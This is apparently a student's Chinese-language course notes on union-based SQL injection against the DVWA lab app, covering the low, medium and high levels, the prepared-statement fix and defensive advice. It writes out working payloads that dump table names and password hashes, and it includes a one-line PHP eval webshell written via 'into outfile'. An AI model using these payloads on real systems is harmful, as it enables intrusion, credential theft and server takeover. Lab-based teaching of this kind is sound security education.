1. 程式人生 > >【筆記】網易微專業-Web安全工程師-04.WEB安全實戰-7.SQL回顯註入

【筆記】網易微專業-Web安全工程師-04.WEB安全實戰-7.SQL回顯註入

load 拼接 cti 欺騙 源碼 數據庫連接 exec numeric webshell

我們之前提到當忘記一個網站的密碼時,可以嘗試萬能密碼:用戶名處輸入admin‘--,其實這就是利用了SQL註入漏洞。

SQL註入(SQL Injection):是指攻擊者通過註入惡意的SQL命令,破壞SQL查詢語句的結構,從而達到執行惡意SQL語句的目的。

DVWA實戰:

1. 打開phpStudy或xampp,運行Apach和MySQL;

2. 瀏覽器進入DVWA主界面,在左側欄選擇DVWA Security安全等級為Low,然後進入SQL Injection;

技術分享圖片

提示我們輸入User ID,我們輸入1,頁面返回該用戶的信息。

於是我們猜想後臺的SQL語句應該類似於:

SELECT first_name, last_name FROM
users WHERE user_id = $id;

這樣我們就可以嘗試用萬能密碼的方式看看能不能讓後臺執行惡意語句,我們試著輸入

1 or 1024=1024 (數值型)

1‘ or ‘1024‘=‘1024 (字符型)

技術分享圖片

得到了所有用戶的信息,這裏的’1024‘=’1024加上後臺的‘剛好使得where語句永遠為True。

這裏存在SQL註入漏洞,是不是可以進一步利用,獲得更多的信息呢?

我們接下去想看看能不能知道用戶表的字段數,試著輸入:

1‘ or ‘1024‘=‘1024‘ order by 1 #

技術分享圖片

發現執行成功,這裏的order是指按第一個字段排序,既然成功,那就說明第一個字段存在(好像是廢話o(╯□╰)o)。不過我們可以利用同樣的方法,order by 2,3,4,......直到N報錯,就說明共有N-1個字段,我們發現當嘗試到3時報錯了,說明select語句只有2個字段。

僅此而已麽?接下來我們更進一步,介紹union用法,輸入:

1‘ union select 1,2 #

技術分享圖片

我們發現第二項裏把1,2寫入First name和Surname中。那有什麽用呢?我們輸入:

1‘ union select @@version,@@datadir #

技術分享圖片

發現居然拿到了SQL的版本和目錄!同樣的,更多信息都能被獲取(用戶和數據庫名):

1‘ union select user(),database() #

技術分享圖片

有了數據庫名,我們就能利用它來查詢數據庫中的所有表:

1‘ union select 1,table_name from information_schema.tables where table_schema=‘dvwa‘ #

技術分享圖片

說明數據庫dvwa中一共有兩個表,guestbook與users。

接下去我們看看users表裏有些什麽字段?擔心字段太多,我們用group_concat拼接這些字段:

1‘ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users‘ #

技術分享圖片

我們得到了users表的8個字段名,接下去能獲得每個用戶的密碼麽?試試:

1‘ union select user,password from users #

技術分享圖片

這樣我們就獲得了所有用戶的用戶名和密碼,雖然是加密過的,但是只要放到www.cmd5.com中就能破解出來,例如“5f4dcc3b5aa765d61d8327deb882cf99”,解密結果為:“password”!

於是,通過一個簡單的SQL漏洞,我們就拿到了所有用戶的密碼,這個危害性真是太大了。此外,我們還能使用load_file函數去獲取服務器各種文件,以及寫入webshell,是在是太可怕。

union select ‘<?php @eval($_GET[‘cmd‘];?)>‘,webshell into outfile ‘D:/....‘

我們總結以下SQL註入的常用手段:

  1. 判斷是否存在註入,註入是字符型還是數字型
  2. 猜解SQL查詢語句中的字段數
  3. 確定顯示的字段順序
  4. 獲取當前數據庫
  5. 獲取數據庫中的表
  6. 獲取表中的字段名
  7. 下載數據

3. 接下去我們把安全等級調為medium,發現輸入框變成了下拉框。

技術分享圖片

但是一個小小的下拉框怎麽能阻攔我們?我們前面已經多次用到TamperData或ZAP去修改請求報文,所以這不是個問題,具體不細說,可參考前面的文章。不過除了下拉框的限制,後臺還利用mysql_real_escape_string函數對特殊符號\x00,\n,\r,\,’,”,\x1a進行轉義:

$id = mysql_real_escape_string( $id );

但如果是數字型註入漏洞,這個過濾就沒太大用處,那如果是像之前一樣需要輸入table_schema=‘dvwa‘時怎麽辦呢?可以簡單的使用HackBar插件裏的Encoding功能進行Hex編碼,將dvwa編碼為0x64767761,就可以不用帶引號了。

4. 接下去我們看看high等級的SQL註入,發現讓我們點擊鏈接後在新窗口輸入ID後進行修改。這主要為了防止一般的sqlmap註入,因為sqlmap在註入過程中,無法在查詢提交頁面上獲取查詢的結果,沒有了反饋,也就沒辦法進一步註入。

技術分享圖片

但是這並不妨礙我們利用union select註入,采用之前同樣的方法,也沒什麽問題。查看後臺源碼,發現多了個LIMIT 1的限制,希望只輸出一個結果,不過這可以用註釋符號直接繞過。

$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;";

5. 最後我們來看看impossible代碼,發現後臺進行了許多控制,包括輸入必須是數字,使用預編譯綁定變量,代碼與數據分離,同時只有返回的查詢結果數量為1時,才會成功輸出,有效地防止SQL註入。

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1; );
        $data->bindParam( :id, $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();
        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {

6. SQL註入雖然威力很大,但是過程略繁瑣,需要一遍遍的嘗試,有沒有什麽工具能節省我們的勞動力?當然是有點,那就是神器sqlmap,只需幾個命令,就能完成我們上述的所有操作。不過對於我們來說,了解工具背後的原理更重要,大家有興趣可以下載sqlmap安裝並試用,關於sqlmap之後有空再專門寫篇文章介紹。

實戰心得:

SQL註入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。防護方法主要有以下幾點:

  1. 永遠不要信任用戶的輸入。對用戶的輸入進行校驗,可以通過正則表達式,或限制長度;對單引號和雙"-"進行轉換等。
  2. 永遠不要使用動態拼裝sql,可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取。
  3. 永遠不要使用管理員權限的數據庫連接,為每個應用使用單獨的權限有限的數據庫連接。
  4. 不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。
  5. 應用的異常信息應該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝。

【筆記】網易微專業-Web安全工程師-04.WEB安全實戰-7.SQL回顯註入